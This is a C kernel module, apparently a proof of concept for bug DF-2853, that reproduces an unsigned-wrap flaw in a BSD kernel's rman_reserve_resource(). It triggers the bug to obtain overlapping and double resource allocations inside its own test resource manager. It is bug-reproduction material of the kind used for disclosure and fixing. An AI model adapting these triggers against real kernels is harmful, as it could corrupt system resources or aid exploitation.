/*
 * DF-2853 PoC: rman_reserve_resource() alignment-roundup unsigned wrap
 * => resource allocated OUTSIDE the scanned free fragment
 * => overlapping allocations + free-fragment inflation.
 *
 * sys/kern/subr_rman.c:247-254 computes
 *      rstart = rounddown2(max(s->r_start,start) + (1<<align)-1, 1<<align);
 *      rend   = ulmin(s->r_end, ulmax(start+count-1, end));
 *      if ((rend - rstart + 1) >= count)      <-- WRAPS when rstart > rend
 *
 * If the alignment roundup pushes rstart past rend (fragment that does not
 * contain an aligned base and ends >=1 below the roundup boundary),
 * (rend - rstart + 1) underflows to ~ULONG_MAX and the size check passes
 * for ANY count.  The split logic then hands out [rstart, rstart+count-1],
 * an address range that belongs to the NEXT (possibly allocated!) region,
 * and mutates the free fragment s->r_end = rstart - 1, inflating it across
 * its neighbor.  FreeBSD guards this with `if (rstart > rend) continue;`.
 *
 * Build: see build.sh (in-guest, /usr/src kernel module).
 * Run:   kldload ./rman_overlap.ko ; watch console/dmesg.
 * Success criterion: "REPRODUCED" lines showing E=[0x2000,0x2000] inside
 * allocated B=[0x1FFF,0x2FFF] and X=[0x1FFF] double-allocated with B.
 */
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/rman.h>

static struct rman orm;
static struct resource *rA, *rB, *rE, *rX;

static void
dump_list(const char *tag)
{
	struct resource *p;

	kprintf("rman_overlap: list %-10s:", tag);
	TAILQ_FOREACH(p, &orm.rm_list, r_link)
		kprintf(" [%#lx-%#lx]%s", p->r_start, p->r_end,
		    (p->r_flags & RF_ALLOCATED) ? "A" : "f");
	kprintf("\n");
}

static int
rman_overlap_modev(module_t mod __unused, int what, void *arg __unused)
{
	int rc;

	switch (what) {
	case MOD_LOAD:
		bzero(&orm, sizeof(orm));
		orm.rm_type = RMAN_ARRAY;
		orm.rm_descr = "overlap-harness";
		orm.rm_start = 0;
		orm.rm_end = 0x2FFF;
		rc = rman_init(&orm, 0);
		if (rc) {
			kprintf("rman_overlap: rman_init=%d\n", rc);
			return (rc);
		}
		rc = rman_manage_region(&orm, 0x0000, 0x2FFF);
		if (rc) {
			kprintf("rman_overlap: manage=%d\n", rc);
			return (rc);
		}
		/*
		 * Legit allocations:
		 *   A = [0x0000, 0x1EFF]   (count 0x1F00, no alignment)
		 *   B = [0x1FFF, 0x2FFF]   (count 0x1001, no alignment)
		 * leaving free fragment F = [0x1F00, 0x1FFE].
		 */
		/*
		 * NB: dev=NULL — real device_t fakes would crash unprivileged
		 * hw.bus.rman walkers (sysctl_rman calls device_get_name on
		 * every entry, incl. our corrupted ones; see
		 * panic-sysctl-walk.txt).  NULL keeps the walk safe.
		 */
		rA = rman_reserve_resource(&orm, 0x0000, 0x1EFF, 0x1F00, 0,
		    NULL);
		rB = rman_reserve_resource(&orm, 0x1FFF, 0x2FFF, 0x1001, 0,
		    NULL);
		kprintf("rman_overlap: A=%p B=%p\n", rA, rB);
		if (rA == NULL || rB == NULL) {
			kprintf("rman_overlap: setup failed\n");
			return (ENXIO);
		}
		kprintf("rman_overlap: A=[%#lx,%#lx] B=[%#lx,%#lx]\n",
		    rman_get_start(rA), rman_get_end(rA),
		    rman_get_start(rB), rman_get_end(rB));
		dump_list("setup");

		/*
		 * Evil request: 1 unit anywhere in [0,0xFFFF] with 0x1000
		 * alignment.  roundup(0x1F00, 0x1000) = 0x2000 > F end
		 * (0x1FFE) => (rend-rstart+1) wraps => matches F.
		 */
		rE = rman_reserve_resource(&orm, 0x0000, 0xFFFF, 1,
		    RF_ALIGNMENT_LOG2(12), NULL);
		kprintf("rman_overlap: EVIL1 E=%p", rE);
		if (rE != NULL)
			kprintf(" [%#lx,%#lx]",
			    rman_get_start(rE), rman_get_end(rE));
		if (rE != NULL && rman_get_start(rE) == 0x2000 &&
		    rman_get_end(rE) == 0x2000) {
			kprintf(" ==> REPRODUCED: allocated inside allocated"
			    " B=[0x1FFF,0x2FFF] and outside free fragment"
			    " F=[0x1F00,0x1FFE]\n");
		} else {
			kprintf(" ==> not reproduced (guard present?)\n");
		}
		dump_list("after-E");

		/*
		 * Second consequence: the free fragment got inflated to
		 * [0x1F00,0x1FFF] (overlapping B's first unit), so a plain
		 * request for 0x1FFF is granted although B owns it.
		 */
		rX = rman_reserve_resource(&orm, 0x1FFF, 0x1FFF, 1, 0,
		    NULL);
		kprintf("rman_overlap: EVIL2 X=%p", rX);
		if (rX != NULL)
			kprintf(" [%#lx,%#lx]",
			    rman_get_start(rX), rman_get_end(rX));
		if (rX != NULL && rman_get_start(rX) == 0x1FFF) {
			kprintf(" ==> REPRODUCED: 0x1FFF now owned by B AND X"
			    " (double allocation)\n");
		} else {
			kprintf(" ==> correctly denied\n");
		}
		dump_list("after-X");
		kprintf("rman_overlap: load complete\n");
		return (0);

	case MOD_UNLOAD:
		/* release in a safe order; tolerate NULLs on a fixed kernel */
		if (rA) { rman_release_resource(rA); rA = NULL; }
		if (rB) { rman_release_resource(rB); rB = NULL; }
		if (rE) { rman_release_resource(rE); rE = NULL; }
		if (rX) { rman_release_resource(rX); rX = NULL; }
		rc = rman_fini(&orm);
		kprintf("rman_overlap: unloaded (fini=%d)\n", rc);
		return (0);
	}
	return (EOPNOTSUPP);
}

static moduledata_t rman_overlap_mod = {
	"rman_overlap",
	rman_overlap_modev,
	NULL
};
DECLARE_MODULE(rman_overlap, rman_overlap_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
